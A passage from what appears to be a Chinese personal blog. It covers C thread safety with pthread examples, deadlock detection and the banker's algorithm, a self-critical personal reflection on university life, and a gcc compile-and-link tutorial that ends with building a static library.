#include <stdlib.h>
#include <semaphore.h>

#define maxn 100

void *getstr(void *para) {
static char buffer[100];
// for(int i=0;i<maxn;++i){
sprintf(buffer,"str from thread %ld",pthread_self());
// }
return buffer;
}

int main() {
pthread_t tid1;
pthread_t tid2;
pthread_create(&tid1,NULL,getstr,NULL);
pthread_create(&tid2,NULL,getstr,NULL);
char *s1,*s2;
pthread_join(tid1,(void**)&s1);
pthread_join(tid2,(void**)&s2);
printf("%s\n%s\n",s1,s2);

return 0;
}

我们期望的是分别从两个线程中获得两个字符串,在主线程中交给s1,s2保管

实际上s1,s2指向的是同一块内存地址,即都是.data区域的静态变量buffer,多线程不会拷贝全局变量区

1
2
3
4
5
6
7
┌──(root㉿Executor)-[/mnt/e/share/mydir]
└─# gcc mythread.c -o mythread -lpthread

┌──(root㉿Executor)-[/mnt/e/share/mydir]
└─# ./mythread
str from thread 139788891407936
str from thread 139788891407936

怎么解决 这类错误呢?

我们现在指望的是函数主动返回一个值供我们引用,但是函数的局限性就是它多次调用只能返回一个值,实际上这个静态变量还是临界区

我们现在给函数提供一个内存区域,让函数把数据写到我们指定的区域,在不同的线程中指定不同的区域.这样就可以避免多个引用指向同一块内存区域,即不使用共享变量

比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <semaphore.h>

#define maxn 100
void *getstr(void *dest) {//dest作为缓冲区
sprintf((char*)dest,"str from thread %ld",pthread_self());
return NULL;
}

int main() {
pthread_t tid1;
pthread_t tid2;
char s1[100];//在主线程申请栈上申请两个缓冲区,两个线程各自写入一块缓冲区
char s2[100];
pthread_create(&tid1,NULL,getstr,(void*)s1);//在主线程创建对等线程的时候指定线程 使用哪一块缓冲区
pthread_create(&tid2,NULL,getstr,(void*)s2);
pthread_join(tid1,NULL); //不必使用函数返回值,直接写NULL
pthread_join(tid2,NULL);
printf("%s\n%s\n",s1,s2);

return 0;
}
1
2
3
4
5
6
7
┌──(root㉿Executor)-[/mnt/e/share/mydir]
└─# gcc mythread.c -o mythread -lpthread

┌──(root㉿Executor)-[/mnt/e/share/mydir]
└─# ./mythread
str from thread 139961335383616
str from thread 139961326990912

调用线程不安全函数的函数

线程调用的所有函数都是线程执行流的一部分,不光最高层的线程例程函数需要考虑线程安全性,只要是线程执行流上的所有涉及临界区的函数都应当考虑线程安全问题

库函数的线程安全性

大多数库函数都是线程安全的

image-20220601205715921

死锁问题

死锁问题大概是指:

线程1想要资源2但是资源2被线程2掌握

线程2想要资源1但是资源1被线程1掌握

没有获得资源则两个线程都需要中断或者忙等待.每个线程都不愿主动放弃已经获取的资源

注意这里资源数量默认为1,也可以大于1,但是还是用1理解比较方便

更规范的定义:

如果一个进程集合中的每个进程都在等待只能由该进程集合中的其他进程才能引发的事件.那么该进程集合就是死锁的

死锁是对一个进程集合而言的

显然死锁的概念也适用于线程集合上

建模表示

线程图建模

用线程图表示这个事情:

image-20220601210209517

禁止区即s,t资源剩余数量为-1的区域,这显然是不可能的

当两个线程都互补想让争抢资源,并且争抢资源 的顺序不对时,就容易发生死锁

图中死锁区域的状态就是:

线程1已经抢到了s,并且吃里扒外想要抢夺t

线程2已经抢到了t,并且吃里扒外想要抢夺s

双方都有对方想要的东西但是双方都不打算交出自己的资源,于是两个线程都无限忙等

在线程图上由于状态转移只能向右或者向上转移(时间的推移方向)

而死锁区就是右侧核上侧被禁止区完全挡住的区域

有向图建模

图片来自<<MOS>>

死锁的有向图建模

圆圈⭕节点表示的是进程(或者说线程),

方框节点表示的是资源,

资源R指向进程A的有向边,表示进程A已经占有资源R

进程B指向资源S的有向边,表示进程B需要得到资源S

这里的最大资源数量就可以不只有1个了,比如T资源有两个就可以画两个方框,通过合理安排(也不用安排,显然的事情)就可以解决死锁

当一个资源分配图上的一些圆圈方框连接成一个圈时(圈上的箭头同逆时针或者同顺时针),就产生了死锁

如果资源数量为1时,发生死锁就是一辈子的死锁

如果资源数量大于1,则死锁有可能是暂时的,比如本例中的T资源,要是存在另一个T资源,就可以解燃眉之急

死锁的判断

互斥锁死锁的判断

无死锁的充分条件
image-20220601221022640

<<MOS>>上举的例子

image-20220601221103392

啥意思呢?比如线程(或者进程)A和线程B都要使用1和2两种资源

那么线程A和B都应该按照申请1,申请2,释放2,释放1或者申请2,申请1,释放1,释放2这种顺序

否则如图b,可能会产生A申请到1同时B申请到2,此后两个进程就都没有进展了.注意这里说法是可能,也有可能A进程执行完毕才轮到B进程执行,此时就没有死锁

充要条件

资源图上只要没有强联通分量(圈上的箭头同方向)则不是死锁

资源图上只要是有强连通分量就有死锁

甚至可以复习一下塔杨算法求scc

计数锁死锁的判断

存在死锁的充分条件

<<MOS>>给出的算法

image-20220601224743929

符号意义:

现有资源数量表示某种资源的最大数量,包括已用的和没用的

可用资源数量表示某种资源还没有被进程占用的资源

设共有n种资源,编号1到n

现有资源向量\(\bold{E}=\{E_1,E_2,...,E_n\}\),其中\(E_i\)表示第i种资源的总数量(包括已占用的和未占用的)

可用资源向量\(\bold{A}=\{A_1,A_2,...,A_n\}\),其中\(A_i\)表示第i种资源的可用数量(尚未被占用的数量)

当前分配矩阵 \[ \bold{M}= \begin{bmatrix} \bold{C_1}\\ \bold{C_2}\\ ...\\ \bold{C_n} \end{bmatrix} = \begin{bmatrix} C_{11}\ C_{12}\ ...\ C_{1n}\\ C_{21}\ C_{22}\ ...\ C_{2n}\\ ...\\ C_{n1}\ C_{n2}\ ...\ C_{nn} \end{bmatrix} \] 其中每一行都是一个向量\(\bold{C_i}\)表示第i个进程已经占有的资源向量

请求矩阵 \[ \bold{Q}= \begin{bmatrix} \bold{R_1}\\ \bold{R_2}\\ ...\\ \bold{R_n} \end{bmatrix} = \begin{bmatrix} R_{11}\ R_{12}\ ...\ R_{1n}\\ R_{21}\ R_{22}\ ...\ R_{2n}\\ ...\\ R_{n1}\ R_{n2}\ ...\ R_{nn} \end{bmatrix} \] 其中每行都是一个向量\(\bold{R_i}\)表示第i个进程还需要的资源向量(资源请求向量)

定义两个向量的抽象代数关系: \[ \bold{U}@ \bold{V}\Leftrightarrow \forall i\in[1,n],U_i@ V_i \] 比如小于等于关系 \[ \bold{U}\le \bold{V}\Leftrightarrow \forall i\in[1,n],U_i\le V_i \] 即U的每一项都要小于等于V的每一项,则向量\(\bold{U}\le\bold{V}\)

死锁检查算法:

遍历\(\bold{Q}\)矩阵,用\(\bold{A}\)向量与\(\bold{Q}\)的所有行向量进行比较,如果存在\(\bold{R_i}\le \bold{A_i}\),则\(\bold{A}=\bold{A}+\bold{C_i}\),并且将\(\bold{R_i}\)置0,下一次遍历时不再考虑第i行

重复上述步骤,

如果\(\bold Q\)矩阵的所有行都可以被消去,则通过消去的方法分配资源是不存在死锁的.不按照消去方法就有可能产生死锁

如果\(\bold{Q}\)矩阵就是有几行消不去,则一定有死锁产生

死锁的避免

银行家算法:

单个资源的银行家算法:

总是挑选当前需要资源数最少的进程先分配资源并执行,待该进程执行完毕后回收其资源,壮大银行资本

如果资源需求量最少的进程都没法满足,那么已经产生了死锁

多个资源的银行家算法

实际上该算法刚才我们已经学习过了,计数锁的判断时的消去方法就应用了银行家算法:

总是挑软柿子捏

总是挑选当前能够满足资源要求的进程首先执行,并在其执行完后获取其原本占有的资源,壮大银行资本

MOS的段子手

image-20220601231623980

"似乎只是为了让一些图论家有事可做罢了"

别天天提你那"Imperial March"整的自己真和维达这么牛逼似的.

你就是一风暴兵,你也配有个性?

学习学成这个熊样子,你也配觉得自己是个东西?

你是有多闲啊,还tm想拥有爱情?

你清高你了不起,看不起刷抖音的,你自己倒是B站刷一天

你笑话人家LSP,转头自己一个人的时候就看人家跳舞

打算法竞赛的时候你自我感动自以为学了多少东西,多少东西?校赛一考你什么都不是

你天天熬夜觉得自己多卷了多少东西似的,还不是刷B站玩游戏了?

你坐教室里学了不到一个小时就觉得自己满了,CSAPP一章你能看一个星期,你是王八还是蜗牛啊?

天天骂学校课程安排的不合理,你倒是自己有思路有明确方向啊?

天天看不起学英语的学政治的,你也六级优秀啊?你也玩个权术啊?

你能吗?

你是谁啊?

你什么都不是,你没牌面

你满肚子里的骄傲屁哪怕自己咽回去也比放出来恶心人家强!

你该干啥干啥!你永远是个风暴兵!你不是什么绝地武士!你就是个垃圾!

你还有一年就得决定本科的去向了!你现在是刀殂上的死鱼烂虾!

你下面的总结,笑死,自我感动罢了

你也配过生日?

你醒醒吧!

Imperial March

天临4年(或改元卢雷元年)夏肆月廿伍,球过其而立生日,因缺思厅,时值大二下期末,回顾其两年大学过活有感,作此总结

期末将近,本学期的学习又进入收官阶段,好像本学期初的上学期期末考试才刚发生过.

白驹过隙,时间像Mountains里频率逐渐加快的时钟滴答.

眨眼之间,时钟已经快如脉搏,巨浪已如秦岭般近在眼前

阳台·秦岭

在过去的两年里,球子都经历了啥呢?

n个id

shockwave

abandoned,那时候我还是个变形金刚G1大波粉

野心勃勃的帝国球

abandoned,太过于中二,让人笑话

死灰复燃的帝国球

abandoned,有点政治敏感,德棍打死

deutschball

using,波兰球漫画爱好者,但实际上是政治白痴

dustball

using,在大一下刚认识伍幺零时她认为我的id

灰球球

using,dustball的翻译,叠词者,恶心也

三个方向

两年的大学生活波澜壮阔

大一时还天真地认为自己是个算法竞赛的料,最终在校赛之时才发现自己不过学了ACMer和OIer的皮毛上的一根毛

大二上惊叹于HTML5网页的精美与微信小程序的便携快捷,好像就认定以后要做前端

大二下却又转变方向改学网络安全,又学了CTFer身上的一根毛

每个方向都带给我新鲜感,都让我感叹算法的精妙与工业的美丽

两台机器

两年来最默默无闻的伙伴莫过于两台计算机,还有计算机上天天打交道的各种软件

一台DELL Vostro 3583,我称它为Commando,现在已经退休作为靶场了

一台Lenovo LEGION Y9000P2021H,我称它为Executor

image-20220527214030953

最初只有一个软件朋友Dev-CPP,后来Typora,WPS,VScode等等伙计齐聚一堂

image-20220527214116346

从前,喜怒哀乐只能和它们聊,它们也只会听.只有程序给出的唯一的输出,能让我感到百分百的安全感.

image-20220527215958751

解决程序的报错或者纠正算法的错误,能让我感到帮助一个朋友解决问题的成就感.

把各个工具加入到Executor的环境变量path然后把vscode作为Executor的舰桥,通过终端向Executor发号施令.这让我感到朋友们齐聚一堂的热闹

image-20220527215136408

探索VScode,Typora的各种功能,让我感觉这是在了解朋友们的更多方面...

typora sequence

一群兄弟

我们越来越熟悉,成为同一条壕沟里的战友.

我们相互define绰号,被随意组CP却没有人生气.

我们心有灵犀,一呼百应去码头给兄弟过生日

m

我们资料共享,兄弟之间没有猜忌

image-20220527214949645

我们敢于争先,比先进不比摆烂,软卓的名号在软工日益响亮.

我们潜力无限,未来可期.

虽然我们即将散作满天星,但是我们聚如一团火.

软卓

一本好书

那必须是相见恨晚的CSAPP.

如果能重来,我一定在大一的时候把这本书翻个西巴烂,

这样在我大二学C++的时候不至于连个源头文件干啥都不知道.

在我学操作系统的时候不至于连个虚拟内存技术都不知道.

在我学计算机组成原理的时候不至于连个寻址方式都不知道.

image-20220527213322734

在这本书上值得下大功夫多敲代码多做实验

CSAPP-chapter3 x86-64汇编语言 | Deutschball's blog (dustball.top)

CSAPP-chapter7 链接 | Deutschball's blog (dustball.top)

CSAPP-chapter8 异常与进程 | Deutschball's blog (dustball.top)

CSAPP-chapter9 虚拟内存 | Deutschball's blog (dustball.top)

本文的typora onedark风格见:linkage

链接

win11+vscode+wsl

链接是对.o,.a,.so而言的,在此之前要先经过编译,即程序从源代码.c文件编译成目标文件.o

从.c到.o

将要遭遇的概念

GCC:(GNU Compiler Collection)GNU编译器集合

gcc和g++都属于"编译器驱动程序"(driver),实际上编译器是cc1(C语言),cc1plus(C++语言)

1
2
root@deutschball-virtual-machine:~/mydir# whereis gcc
gcc: /usr/bin/gcc /usr/lib/gcc /usr/share/gcc /usr/share/man/man1/gcc.1.gz

在linux系统上自带,可以用whereis 命令查询gcc的位置

我们实际调用的是第一个/usr/bin/gcc

/usr目录:unix system resources缩写,包含了所有共享文件,是unix系统最重要的目录之一

用户的家原来也在这里,但是现在改成了/home

/usr/bin目录:所有可执行文件,比如gcc,g++

GAS:GNU汇编器(GNU Assembler),简称为GAS.使用gcc命令时汇编器(as)和链接器(ld)都是GAS提供的

gcc和g++的区别

包括但是不止下面两条

gcc对于.c文件调用cc1编译器,对于.cpp文件调用cc1plus编译器

g++不管是.c和.cpp都会调用cc1plus编译器

在链接时gcc==不会==传递给链接器链接C++标准库的命令但是g++会

1
2
3
4
5
6
#include <vector>
using namespace std;
int main(){
vector<int>v;//此处需要使用STL中的vector
return 0;
}

比如这样一个test.cpp文件

使用gcc命令编译则会报错:

1
2
3
4
5
root@deutschball-virtual-machine:/home/deutschball/mydir# gcc test.cpp -o test.out
/usr/bin/ld: /tmp/ccfXp0Kz.o: in function `__gnu_cxx::new_allocator<int>::deallocate(int*, unsigned long)':
test.cpp:(.text._ZN9__gnu_cxx13new_allocatorIiE10deallocateEPim[_ZN9__gnu_cxx13new_allocatorIiE10deallocateEPim]+0x20): undefined reference to `operator delete(void*)'
/usr/bin/ld: /tmp/ccfXp0Kz.o:(.data.rel.local.DW.ref.__gxx_personality_v0[DW.ref.__gxx_personality_v0]+0x0): undefined reference to `__gxx_personality_v0'
collect2: error: ld returned 1 exit status

但是使用g++命令编译则不会报错

如果想让gcc命令编译时让链接器可以链接标准库可以使用命令行参数-lstdc++

1
2
root@deutschball-virtual-machine:/home/deutschball/mydir# gcc test.cpp -o test.out -lstdc++

但是即使加上该参数,使用gcc和g++对于.cpp的编译还是有区别的.

啥区别我现在不知道,也不想知道

因此现阶段在编译.c源代码时就用gcc命令,编译.cpp源代码时就用g++命令

gcc命令行参数和.c到.exe的过程

image-20220401003811834
image-20220401003612021
image-20220331235005241

预编译-E

预编译命令只能作用于源代码文件(.c,.cpp)

1
gcc -E balabala.c

或者

1
cpp balabala.c

1.将所有include(包括库文件和自己写的文件)展开

2.替换所有的宏定义

比如

test.c

1
2
3
4
5
6
7
8
#include <stdio.h>
#define N 10
typedef int word;
int main(){
int a=N;
word b=N;
return 0;
}

使用gcc test.c -E(使用cpp test.c作用相同)之后会将预编译内容打印到屏幕,但是不会生成.i文件

image-20220331222506965

(截图仅为一小部分)

观察到#define N 10消失,N被10替换

typedef起别名并不会被替换

使用-o命令行参数指定预编译生成文件

1
cpp test.c -o test.i

然后使用ls -sh -l名令以列表方式查看当前目录下文件大小

image-20220331224027046

可见.i文件明显比.c文件大

-I命令行参数指定自定义头文件

如果需要包含的头文件和就在当前目录下则自动包含,

比如当前目录(mydir/)下

有一个自定义头文件myheader.h里面只有一个变量a的定义

有一个test.c里面没有定义a直接拿来用

此时预编译是可以通过的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
root@deutschball-virtual-machine:/home/deutschball/mydir# ls -l
总用量 8
-rw-r--r-- 1 root root 10 331 22:43 myheader.h
-rw-r--r-- 1 root root 51 331 22:44 test.c
root@deutschball-virtual-machine:/home/deutschball/mydir# cpp test.c -o test.i
root@deutschball-virtual-machine:/home/deutschball/mydir# cat test.i
# 1 "test.c"
# 1 "<built-in>"
# 1 "<command-line>"
# 31 "<command-line>"
# 1 "/usr/include/stdc-predef.h" 1 3 4
# 32 "<command-line>" 2
# 1 "test.c"
# 1 "myheader.h" 1
int a=10;
# 2 "test.c" 2
int main(){
a;
return 0;
}

如果在其他目录则需要- I <directory>指定包含文件所在的目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@deutschball-virtual-machine:/home/deutschball/mydir# ls -l
总用量 8
-rw-r--r-- 1 root root 10 3月 31 22:43 myheader.h
-rw-r--r-- 1 root root 51 3月 31 22:44 test.c
root@deutschball-virtual-machine:/home/deutschball/mydir# mv myheader.h ..
root@deutschball-virtual-machine:/home/deutschball/mydir# ls
test.c
root@deutschball-virtual-machine:/home/deutschball/mydir# cpp test.c
# 1 "test.c"
# 1 "<built-in>"
# 1 "<command-line>"
# 31 "<command-line>"
# 1 "/usr/include/stdc-predef.h" 1 3 4
# 32 "<command-line>" 2
# 1 "test.c"
test.c:1:10: fatal error: myheader.h: 没有那个文件或目录
1 | #include "myheader.h"
| ^~~~~~~~~~~~
compilation terminated.

将原本与test.c同目录的myheader.h移动到上级目录(..)中,此时使用cpp命令则在当前目录下找不到myheader.h报错了

此时使用-I <directory>指定上级目录(..)为包含路径则预编译通过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@deutschball-virtual-machine:/home/deutschball/mydir# cpp test.c -I ..
# 1 "test.c"
# 1 "<built-in>"
# 1 "<command-line>"
# 31 "<command-line>"
# 1 "/usr/include/stdc-predef.h" 1 3 4
# 32 "<command-line>" 2
# 1 "test.c"
# 1 "../myheader.h" 1
int a=10;
# 2 "test.c" 2
int main(){
a;
return 0;
}

编译(Compilation)-S

编译命令可以应用于前面所有类型的文件(.c,.i)

1
gcc -S balabala.c

作用是将源代码(或者说预编译之后的源代码)编译成汇编语言

将一个全空的c程序(一个字都没写的,这样写当然不对,但是是在后来的某一阶段报错)test.c编译成汇编语言,会在同一目录下生成test.s文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@deutschball-virtual-machine:/home/deutschball/mydir# gcc test.c -S
root@deutschball-virtual-machine:/home/deutschball/mydir# cat test.s
.file "test.c"
.text
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:

关于汇编语言后来会学,但不是现在

汇编(Assembly)-c

1
gcc balabala.c -c

1
as balabala.c

汇编命令可以应用于前面过程中生成的所有文件(.c,.i,.s)

汇编过程将上一步的汇编代码转换成机器码(machine code),这一步产生的文件叫做目标文件,是二进制格式

对于一个啥也没写的test.c文件,预编译,编译,汇编都是可以通过的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
root@deutschball-virtual-machine:/home/deutschball/mydir# echo > test.c
root@deutschball-virtual-machine:/home/deutschball/mydir# ls -l
总用量 4
-rw-r--r-- 1 root root 1 3月 31 23:04 test.c
root@deutschball-virtual-machine:/home/deutschball/mydir# cat test.c

root@deutschball-virtual-machine:/home/deutschball/mydir# cpp test.c -o test.i
root@deutschball-virtual-machine:/home/deutschball/mydir# gcc test.i -S
root@deutschball-virtual-machine:/home/deutschball/mydir# ls -l
总用量 12
-rw-r--r-- 1 root root 1 3月 31 23:04 test.c
-rw-r--r-- 1 root root 149 3月 31 23:04 test.i
-rw-r--r-- 1 root root 298 3月 31 23:04 test.s
root@deutschball-virtual-machine:/home/deutschball/mydir# gcc test.s -c
root@deutschball-virtual-machine:/home/deutschball/mydir# ls -l
总用量 16
-rw-r--r-- 1 root root 1 3月 31 23:04 test.c
-rw-r--r-- 1 root root 149 3月 31 23:04 test.i
-rw-r--r-- 1 root root 1072 3月 31 23:06 test.o
-rw-r--r-- 1 root root 298 3月 31 23:04 test.s
root@deutschball-virtual-machine:/home/deutschball/mydir# cat test.o
ELF>�@@
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0GNU���test.c.symtab.strtab.shstrtab.text.data.bss.comment.note.GNU-stack.note.gnu.property!@@,0@,5lEp�� PXX

到此为止,我们完成了下图中红框中的部分

image-20220401001520336

下面来到了链接阶段对应图中load time

链接(Linking)

ld负责将程序的目标文件与所需的所有附加的目标文件连接起来,最终生成可执行文件。

附加的目标文件包括==静态连接库和动态连接库==。

还是一个字也没写的test

1
2
3
4
5
6
7
root@deutschball-virtual-machine:/home/deutschball/mydir# gcc test.o -o test.out
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/Scrt1.o: in function `_start':
(.text+0x24): undefined reference to `main'
collect2: error: ld returned 1 exit status

root@deutschball-virtual-machine:/home/deutschball/mydir# ld test.o
ld: 警告: 无法找到项目符号 _start; 缺省为 0000000000401000

在链接阶段终于报错了

报错原因是程序总要有一个main函数入口,一个空的test自然没有main函数

库就是现成的可以复用的"代码".

这里"代码"加了引号,因为库不是我们使用的高级语言代码,而是机器码

一看到"库"我第一反应是包含的头文件

#include <stdio.h>之后使用-E编译命令可以看到预编译生成的.i文件,里面全都是声明,没有实现,函数也都是一些接口,没有函数体,显然只通过include头文件是没法运行这些函数的,那么这些函数的实现在哪里呢?程序怎么找到的函数实现呢?

从前道听途说的是在.cpp文件中,在cpp源文件中我们确实可以看到函数的实现,但是我们在编译过程中一直没有与cpp文件发生关联啊?只有.cpp文件包含了.h但是没有见.h包含.cpp啊?从前我幼稚可笑的想法是会根据文件名自动找,比如#include "balabala.h"之后编译器会自动在同目录下找同名的balabala.cpp.但是通过gcc -E命令可以清楚的看到并没有.并且从来没有规定说头文件和源文件的文件名相同.我原来的想法纯属胡扯

库,头文件,源文件的区别和联系,参考https://www.runoob.com/w3cnote/cpp-header.html

image-20220401011132234

可以得到几点结论:

1..cpp这种拓展名不是必须的

2.寻找函数实现是在链接阶段完成的,而引入只有声明的头文件是为了使得编译可以通过

3.函数实现以.o或.obj格式参与到链接中

4.unix下即使不引入头文件,只指明链接阶段需要的.o文件,也可以通过编译,但不是一个好习惯

5.我们程序中使用到符号(函数名,变量名等)会在==参与链接的所有.o文件==中寻找,重复定义报错发生在该阶段

经过前面的学习,我们自己了解到的知识

1..o是.s文件经过汇编生成的,我们自己写的程序也会经历该阶段

2.链接时会连接多个.o文件,包括==自己的==和==库中的==

那么虽然菜鸟教程里没有提到"库",==我们也可以推测,预定义的.cpp编译生成的.o文件就是库==

这篇博客证明了我的猜测

image-20220401013407948

.a是多个.o合在一起,和.o是一个性质的文件

这个博客也证明了我的想法

image-20220401015054137

还有一个问题,makefile是啥?

记得在上学期用Dev-cpp写一卡通乘车系统项目时,建立项目后会在项目目录下生成一个makefile文件

现在用devcpp建立一个空白项目

项目根目录下有这么几个文件

image-20220401013807320

其中Makefile.win

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Project: project
# Makefile created by Dev-C++ 5.15

CPP = g++.exe -D__DEBUG__
CC = gcc.exe -D__DEBUG__
WINDRES = windres.exe
OBJ = main.o
LINKOBJ = main.o
LIBS = -L"D:/Dev-Cpp/TDM-GCC-64/x86_64-w64-mingw32/lib32" -static-libgcc -m32 -g3
INCS = -I"D:/Dev-Cpp/TDM-GCC-64/include" -I"D:/Dev-Cpp/TDM-GCC-64/x86_64-w64-mingw32/include" -I"D:/Dev-Cpp/TDM-GCC-64/lib/gcc/x86_64-w64-mingw32/9.2.0/include"
CXXINCS = -I"D:/Dev-Cpp/TDM-GCC-64/include" -I"D:/Dev-Cpp/TDM-GCC-64/x86_64-w64-mingw32/include" -I"D:/Dev-Cpp/TDM-GCC-64/lib/gcc/x86_64-w64-mingw32/9.2.0/include" -I"D:/Dev-Cpp/TDM-GCC-64/lib/gcc/x86_64-w64-mingw32/9.2.0/include/c++"
BIN = project.exe
CXXFLAGS = $(CXXINCS) -Og -m32 -g3
CFLAGS = $(INCS) -Og -m32 -g3
RM = del /q

.PHONY: all all-before all-after clean clean-custom

all: all-before $(BIN) all-after

clean: clean-custom
${RM} $(OBJ) $(BIN)

$(BIN): $(OBJ)
$(CC) $(LINKOBJ) -o $(BIN) $(LIBS)

main.o: main.c
$(CC) -c main.c -o main.o $(CFLAGS)

1
2
CPP      = g++.exe -D__DEBUG__
CC = gcc.exe -D__DEBUG__

这里好像把g++.exe -D__DEBUG__命令重新起名CPP

后来

1
2
main.o: main.c
$(CC) -c main.c -o main.o $(CFLAGS)

在这里带入的话相当于

1
gcc.exe -D__DEBUG__ -c main.c -o main.o -I"D:/Dev-Cpp/TDM-GCC-64/include" -I"D:/Dev-Cpp/TDM-GCC-64/x86_64-w64-mingw32/include" -I"D:/Dev-Cpp/TDM-GCC-64/lib/gcc/x86_64-w64-mingw32/9.2.0/include" -Og -m32 -g3

用gcc执行了命令,==并且用-I参数指定了链接阶段需要加入链接的库文件的目录==

由此可见,Makefile不过是一个脚本罢了,是我们不用在命令行在==链接阶段==输入冗长的命令

如果在项目中加入源文件比如test.cpp并且编译运行main.c

image-20220401015434869

之后会在Makefile.win里面增加一条记录

1
2
3
test.o: test.cpp
$(CC) -c test.cpp -o test.o $(CFLAGS)

但是向项目中加入头文件比如test.h然后编译运行main.c则不会在Makefile.win中增加记录

说明Makefile只管.cpp和.c文件时如何编译为.o文件的,头文件.h它毫不关心

到此我们知道了多个文件是如何互相找到,在何时互相找到的,也就是链接要做的事情

下面为了更清楚地理解库的作用,我们需要亲自写几个库试试

然后我查阅了这个博客https://www.cnblogs.com/skynet/p/3372855.html

库有两种,一种是静态库,一种是动态库

静态库(.a,.lib)

静态库会在链接时与我们自己编译生成的.o文件一起链接打包到可执行文件,这种链接方式称为"静态链接"

静态库可以看作一组目标文件(.o)的集合

静态库对函数库的链接是在编译链接时期完成的

程序运行时与函数库已经没有关系,方便移植

浪费空间,不容易更新

动态库(.so.dll)

windows上的动态库.dll我们早就见过了

比如红警3根目录下面就可以见到

image-20220401113523196

图片来自播客

image-20220401112348428

动态库的出现是为了解决两个问题

1.静态库占用空间,多个程序可能有相同的静态库

2.更新时,静态库即使静态库稍微改动一点,也需要全部重新编译(全量更新)

动态库相对这两点的特性

1.多个程序复用同一个库

2.增量更新,哪里更新就编译哪里

image-20220401112727292

这就要求动态库在运行时才会装载

静态库的使用

/home/deutschball/mydir文件夹下写了三个文件

1
2
3
4
5
root@deutschball-virtual-machine:/home/deutschball/mydir# ls -l
总用量 12
-rw-r--r-- 1 root root 156 4月 1 09:44 main.cpp
-rw-r--r-- 1 root root 985 4月 1 09:46 Point.cpp
-rw-r--r-- 1 root root 872 4月 1 09:43 Point.h

point.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#pragma once
#include <iostream>
#include <string>
#include <cmath>
using std::string;
using std::cout;
using std::ostream;
class Point {
private:
double x, y;
string name;
public:
Point(const double &, const double &);
Point(const Point &);
Point();
Point(const string &);
Point(const string &, const double &, const double &);
void setX(const double &);
void setY(const double &);
void setName(const string &);
double getX()const;
double getY()const;
string getName()const;
double getDistance(const Point &);
friend ostream &operator<<(ostream &, const Point &);
};

point.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include "Point.h"

Point::Point(const double &x, const double &y) {
name = "";
this->x = x;
this->y = y;
}

Point::Point(const Point &p) {
this->name = p.name;
this->x = p.x;
this->y = p.y;
}

Point::Point() {
name = "";
x = y = 0;
}

Point::Point(const string &n) {
name = n;
x = y = 0;
}

Point::Point(const string &name, const double &x, const double &y) {
this->name = name;
this->x = x;
this->y = y;
}

void Point::setX(const double &x) {
this->x = x;
}

void Point::setY(const double &y) {
this->y = y;
}

void Point::setName(const string &name) {
this->name = name;
}

double Point:: getX()const {
return x;
}

double Point:: getY()const {
return y;
}

string Point:: getName()const {
return name;
}

double Point::getDistance(const Point &p) {
return sqrt((x - p.x) * (x - p.x) + (y - p.y) * (y - p.y));
}

ostream &operator<<(ostream &os, const Point &p) {
os << p.name << "(" << p.x << "," << p.y << ")";
return os;
}

main.cpp

1
2
3
4
5
6
7
8
9
10
11
#include <iostream>
#include <cmath>
#include "Point.h"
using namespace std;

int main() {
Point p("A", 5.0, 4.0);
cout << p << endl;

return 0;
}

图片来自博客

准备工作完毕,下面开始创建静态库

main.cpp为入口,Point.h是头文件,我们需要将Point.cpp创建为静态库

1.将Point.cpp编译成目标文件.o

1
2
3
4
5
6
7
root@deutschball-virtual-machine:/home/deutschball/mydir# g++ Point.cpp -c
root@deutschball-virtual-machine:/home/deutschball/mydir# ls -l
总用量 20
-rw-r--r-- 1 root root 156 4月 1 09:44 main.cpp
-rw-r--r-- 1 root root 985 4月 1 09:46 Point.cpp
-rw-r--r-- 1 root root 872 4月 1 09:43 Point.h
-rw-r--r-- 1 root root 7704 4月 1 10:01 Point.o

2.使用ar工具将刚才生成的目标文件打包成.a静态库文件

1
2
3
4
5
6
7
8
9
root@deutschball-virtual-machine:/home/deutschball/mydir# ar -crv libpoint.a Point.o
a - Point.o
root@deutschball-virtual-machine:/home/deutschball/mydir# ls -l
总用量 32
-rw-r--r-- 1 root root 8540 4月 1 10:02 libpoint.a
-rw-r--r-- 1 root root 156 4月 1 09:44 main.cpp
-rw-r--r-- 1 root root 985 4月 1 09:46 Point.cpp
-rw-r--r-- 1 root root 872 4月 1 09:43 Point.h
-rw-r--r-- 1 root root 7704 4月 1 10:01 Point.o

linux下静态库的命名规范是lib开头

我们没有指定libpoint.a的目录,因此在当前文件夹下形成

到此,静态库libpoint.a建立完毕

下面我们在编译main.cpp使用静态库

-L指定静态库目录

-l指定静态库和动态库的名字

1
2
3
4
5
6
7
8
9
10
root@deutschball-virtual-machine:/home/deutschball/mydir# g++ main.cpp -L ./ -l point -o main
.out
root@deutschball-virtual-machine:/home/deutschball/mydir# ls -l
总用量 52
-rw-r--r-- 1 root root 8540 4月 1 10:02 libpoint.a
-rw-r--r-- 1 root root 156 4月 1 09:44 main.cpp
-rwxr-xr-x 1 root root 19824 4月 1 10:07 main.out
-rw-r--r-- 1 root root 985 4月 1 09:46 Point.cpp
-rw-r--r-- 1 root root 872 4月 1 09:43 Point.h
